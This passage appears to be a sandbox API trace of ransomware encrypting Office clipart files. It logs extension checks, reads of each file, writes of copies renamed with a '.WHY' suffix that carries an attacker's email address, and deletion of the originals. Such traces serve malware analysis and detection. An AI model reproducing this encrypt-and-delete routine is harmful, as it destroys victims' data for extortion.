(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.038] lstrlenW (lpString=".zip") returned 4 [0278.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.038] lstrlenW (lpString=".rar") returned 4 [0278.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.038] lstrlenW (lpString=".bz2") returned 4 [0278.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.038] lstrlenW (lpString=".7z") returned 3 [0278.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.038] lstrlenW (lpString=".dbf") returned 4 [0278.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.039] lstrlenW (lpString=".1cd") returned 4 [0278.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 63 [0278.039] lstrlenW (lpString=".jpg") returned 4 [0278.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.039] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0278.039] lstrlenW (lpString="BD10972_.GIF") returned 12 [0278.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0278.092] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=20189) returned 1 [0278.092] CloseHandle (hObject=0x390) returned 1 [0278.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 0x20 [0278.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0278.093] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.094] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0278.095] GetLastError () returned 0x0 [0278.095] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x4edd, lpOverlapped=0x0) returned 1 [0278.187] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x4ee0, lpOverlapped=0x0) returned 1 [0278.191] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.191] WriteFile (in: hFile=0x3b4, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.192] SetEndOfFile (hFile=0x3b4) returned 1 [0278.192] CloseHandle (hObject=0x3b4) returned 1 [0278.193] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.193] SetEndOfFile (hFile=0x390) returned 1 [0278.202] CloseHandle (hObject=0x390) returned 1 [0278.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0278.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.205] lstrlenW (lpString=".doc") returned 4 [0278.205] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.205] lstrlenW (lpString=".docx") returned 5 [0278.205] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.205] lstrlenW (lpString=".pdf") returned 4 [0278.205] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.205] lstrlenW (lpString=".xls") returned 4 [0278.205] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.205] lstrlenW (lpString=".xlsx") returned 5 [0278.205] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.205] lstrlenW (lpString=".ppt") returned 4 [0278.205] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.205] lstrlenW (lpString=".zip") returned 4 [0278.206] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.206] lstrlenW (lpString=".rar") returned 4 [0278.206] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.206] lstrlenW (lpString=".bz2") returned 4 [0278.206] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.206] lstrlenW (lpString=".7z") returned 3 [0278.206] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.206] lstrlenW (lpString=".dbf") returned 4 [0278.206] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.206] lstrlenW (lpString=".1cd") returned 4 [0278.206] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.207] lstrlenW (lpString=".jpg") returned 4 [0278.207] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.207] lstrlenW (lpString=".doc") returned 4 [0278.207] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.207] lstrlenW (lpString=".docx") returned 5 [0278.207] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.207] lstrlenW (lpString=".pdf") returned 4 [0278.207] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.208] lstrlenW (lpString=".xls") returned 4 [0278.208] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.208] lstrlenW (lpString=".xlsx") returned 5 [0278.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.208] lstrlenW (lpString=".ppt") returned 4 [0278.208] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.208] lstrlenW (lpString=".zip") returned 4 [0278.208] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.208] lstrlenW (lpString=".rar") returned 4 [0278.208] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.208] lstrlenW (lpString=".bz2") returned 4 [0278.208] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.208] lstrlenW (lpString=".7z") returned 3 [0278.208] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.209] lstrlenW (lpString=".dbf") returned 4 [0278.209] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.209] lstrlenW (lpString=".1cd") returned 4 [0278.209] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0278.209] lstrlenW (lpString=".jpg") returned 4 [0278.209] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.210] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0278.210] lstrlenW (lpString="BD19582_.GIF") returned 12 [0278.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.267] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=15733) returned 1 [0278.268] CloseHandle (hObject=0x3bc) returned 1 [0278.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 0x20 [0278.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.269] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.269] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.270] GetLastError () returned 0x0 [0278.270] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x3d75, lpOverlapped=0x0) returned 1 [0278.308] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0278.311] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.311] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.312] SetEndOfFile (hFile=0x3b0) returned 1 [0278.312] CloseHandle (hObject=0x3b0) returned 1 [0278.315] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.315] SetEndOfFile (hFile=0x3bc) returned 1 [0278.322] CloseHandle (hObject=0x3bc) returned 1 [0278.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0278.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.325] lstrlenW (lpString=".doc") returned 4 [0278.325] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.325] lstrlenW (lpString=".docx") returned 5 [0278.325] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.325] lstrlenW (lpString=".pdf") returned 4 [0278.325] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.325] lstrlenW (lpString=".xls") returned 4 [0278.325] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.325] lstrlenW (lpString=".xlsx") returned 5 [0278.325] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.326] lstrlenW (lpString=".ppt") returned 4 [0278.326] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.326] lstrlenW (lpString=".zip") returned 4 [0278.326] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString=".rar") returned 4 [0278.326] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.326] lstrlenW (lpString=".bz2") returned 4 [0278.326] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.326] lstrlenW (lpString=".7z") returned 3 [0278.326] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.326] lstrlenW (lpString=".dbf") returned 4 [0278.326] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.327] lstrlenW (lpString=".1cd") returned 4 [0278.327] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.327] lstrlenW (lpString=".jpg") returned 4 [0278.327] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.327] lstrlenW (lpString=".doc") returned 4 [0278.327] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.327] lstrlenW (lpString=".docx") returned 5 [0278.328] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.328] lstrlenW (lpString=".pdf") returned 4 [0278.328] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.328] lstrlenW (lpString=".xls") returned 4 [0278.328] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.328] lstrlenW (lpString=".xlsx") returned 5 [0278.328] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.328] lstrlenW (lpString=".ppt") returned 4 [0278.328] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.328] lstrlenW (lpString=".zip") returned 4 [0278.328] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.328] lstrlenW (lpString=".rar") returned 4 [0278.328] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.328] lstrlenW (lpString=".bz2") returned 4 [0278.329] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.329] lstrlenW (lpString=".7z") returned 3 [0278.329] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.330] lstrlenW (lpString=".dbf") returned 4 [0278.330] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.330] lstrlenW (lpString=".1cd") returned 4 [0278.330] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0278.330] lstrlenW (lpString=".jpg") returned 4 [0278.330] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.331] lstrcmpiW (lpString1=".WMF", lpString2=".WHY") returned 1 [0278.331] lstrlenW (lpString="BD19827_.WMF") returned 12 [0278.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.332] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=9710) returned 1 [0278.332] CloseHandle (hObject=0x3bc) returned 1 [0278.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 0x20 [0278.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0278.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.333] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.333] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0278.334] GetLastError () returned 0x0 [0278.334] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x25ee, lpOverlapped=0x0) returned 1 [0278.372] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0x25f0, lpOverlapped=0x0) returned 1 [0278.375] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x302fed4*=0x0, lpOverlapped=0x0) returned 1 [0278.376] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x302fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x302fc9c*=0xec, lpOverlapped=0x0) returned 1 [0278.377] SetEndOfFile (hFile=0x3b0) returned 1 [0278.377] CloseHandle (hObject=0x3b0) returned 1 [0278.380] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec8 | out: lpNewFilePointer=0x0) returned 1 [0278.381] SetEndOfFile (hFile=0x3bc) returned 1 [0278.388] CloseHandle (hObject=0x3bc) returned 1 [0278.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0278.389] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf")) returned 1 [0278.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.391] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.391] lstrlenW (lpString=".doc") returned 4 [0278.391] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.391] lstrlenW (lpString=".docx") returned 5 [0278.391] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.391] lstrlenW (lpString=".pdf") returned 4 [0278.391] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.391] lstrlenW (lpString=".xls") returned 4 [0278.391] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.391] lstrlenW (lpString=".xlsx") returned 5 [0278.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.392] lstrlenW (lpString=".ppt") returned 4 [0278.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.392] lstrlenW (lpString=".zip") returned 4 [0278.392] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.392] lstrlenW (lpString=".rar") returned 4 [0278.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.393] lstrlenW (lpString=".bz2") returned 4 [0278.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.393] lstrlenW (lpString=".7z") returned 3 [0278.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.393] lstrlenW (lpString=".dbf") returned 4 [0278.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0278.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.393] lstrlenW (lpString=".1cd") returned 4 [0278.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0278.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.394] lstrlenW (lpString=".jpg") returned 4 [0278.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0278.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.394] lstrlenW (lpString=".doc") returned 4 [0278.394] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0278.394] lstrlenW (lpString=".docx") returned 5 [0278.394] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0278.394] lstrlenW (lpString=".pdf") returned 4 [0278.394] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0278.394] lstrlenW (lpString=".xls") returned 4 [0278.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0278.395] lstrlenW (lpString=".xlsx") returned 5 [0278.395] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0278.395] lstrlenW (lpString=".ppt") returned 4 [0278.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0278.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.395] lstrlenW (lpString=".zip") returned 4 [0278.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0278.395] lstrlenW (lpString=".rar") returned 4 [0278.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0278.395] lstrlenW (lpString=".bz2") returned 4 [0278.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0278.396] lstrlenW (lpString=".7z") returned 3 [0278.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0278.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0278.396] 